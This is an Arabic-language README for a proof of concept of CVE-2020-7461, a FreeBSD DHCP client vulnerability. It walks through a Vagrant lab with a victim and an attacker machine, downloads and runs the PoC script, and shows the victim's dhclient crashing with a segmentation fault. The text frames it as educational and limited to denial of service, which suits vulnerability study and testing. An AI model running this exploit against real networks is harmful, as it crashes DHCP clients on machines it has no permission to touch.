
إثبات المفهوم (PoC) لثغرة DHCP (NAME:WRECK) في FreeBSD
PoC لثغرة DHCP (NAME:WRECK) في FreeBSD
لأغراض تعليمية فقط
سيؤدي إثبات المفهوم (PoC) هذا إلى رفض الخدمة (DoS) بدلاً من تنفيذ التعليمات البرمجية عن بُعد (RCE) لمنع إساءة الاستخدام.


$ cd victim
$ vagrant up
$ cd ..
$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...
افتح محطة طرفية أخرى
$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault
Teppei Fukuda